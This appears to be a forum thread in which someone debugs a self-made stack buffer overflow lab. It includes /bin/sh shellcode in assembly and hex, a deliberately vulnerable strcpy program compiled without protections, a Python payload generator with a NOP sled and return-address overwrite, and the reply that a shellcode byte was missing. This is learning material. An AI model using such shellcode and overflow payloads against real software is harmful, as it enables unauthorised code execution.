0
votes

I am trying, unsuccessfully, to execute shellcode (/bin/sh) from an address on the stack. I Inject the shellcode to an executable file using a buffer overflow method on an Ubuntu 20.04 64-bit machine. I hoped that during the execution, a shell will be open….

  1. Here is the assembly file that executes /bin/sh (from which I took the machine code):
global _start

_start: 

    xor rax, rax

    push rax
    
    mov rbx, 0x68732f6e69622f2f
    push rbx
    mov rdi, rsp
    
    push rax
    push rdi
    mov rsi,rsp 
        
    xor rdx, rdx
    add rax, 59
    syscall
  1. Here is the machine code:
\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05
  1. Here is the C code (buffer_V8.c) from which I inject the shellcode:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int buffer(char* input){
    char buffer[256];
    strcpy (buffer,input);
    printf("Hello from buffer!\n");
    return 0;
}

void main (int argc, char *argv[]){
    int local_variable = 1;
    buffer(argv[1]);
    printf("Hello from main!\n");
    exit(0);
}
  1. This is how I create the executable:
gcc -fno-stack-protector -z execstack buffer_V8.c  -o buffer_V8
  1. Running the executable with a legitimate input, works as expected:
$ ./buffer_V8 AAA 
Hello from buffer! 
Hello from main! 
  1. Running the executable with GDB, with long input that overrides the return address, but without the shellcode, works as expected:

Here is the file to create the input:

#!/usr/bin/env python
from struct import *

buffer = ""
buffer += "A"*264
buffer += "B"*6
f = open("input_V1.txt", "w")
f.write(buffer)
f.close()

Here is the result of executing with GDB: when the debugger tries to return, it stops with the message:

gdb ./buffer_V8 
run $(cat input_V1.txt)  
c
…
Stopped reason: SIGSEGV 
0x0000424242424242 in ?? () 
  1. Running the executable with GDB, with long input that overrides the return address, including the shellcode, doesn't work as expected:

Here is the file to create the input:

#!/usr/bin/env python
from struct import * 

buffer = "" 
buffer += "\x90"*100    #NOP 
#shell code 
buffer+="\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05"
buffer += "C"*133
#override the return address with an address in the stack inside the buffer before the shellcode begins. 
buffer += pack("<Q", 0x7fffffffdcf0) 

f = open("input_V4.txt", "w") 
f.write(buffer) 
f.close()

Here is the result of executing with GDB:

gdb ./buffer_V8
run $(cat input_V4.txt) 
c
  0x7fffffffdd3a:   xor    rdx,rdx
   0x7fffffffdd3d:  add    rax,0x3b
   0x7fffffffdd41:  syscall 
=> **0x7fffffffdd43**:  rex.XB
   0x7fffffffdd44:  rex.XB
   0x7fffffffdd45:  rex.XB
   0x7fffffffdd46:  rex.XB
   0x7fffffffdd47:  rex.XB
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddb8 --> 0x7fffffffddc8 --> 0x0 
0008| 0x7fffffffddc0 --> 0x0 
0016| 0x7fffffffddc8 --> 0x0 
0024| 0x7fffffffddd0 --> 0x7fffffffdee8 --> 0x7fffffffe22f ("/home/albi/Desktop/UMalware/PROJECTS
/Penetration/CH7/zzz")
0032| 0x7fffffffddd8 --> 0x2555550a0 
0040| 0x7fffffffdde0 --> 0x7fffffffdee0 --> 0x2 
0048| 0x7fffffffdde8 --> 0x100000000 
0056| 0x7fffffffddf0 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
**0x00007fffffffdd43** in ?? ()

Instead of opening a shell, it looks like the execution stopped after calling syscall at address 0x7fffffffdd41.

What went wrong, and how can I perform the execution of the shellcode successfully?

Thanks a lot Tali

1

1 Answers

0
votes

I discovered the bug:

The transition from stage 1: the assembly program, to stage 2: the machine code, was not complete: one machine code was missing.

Fixing this issue solved every thing!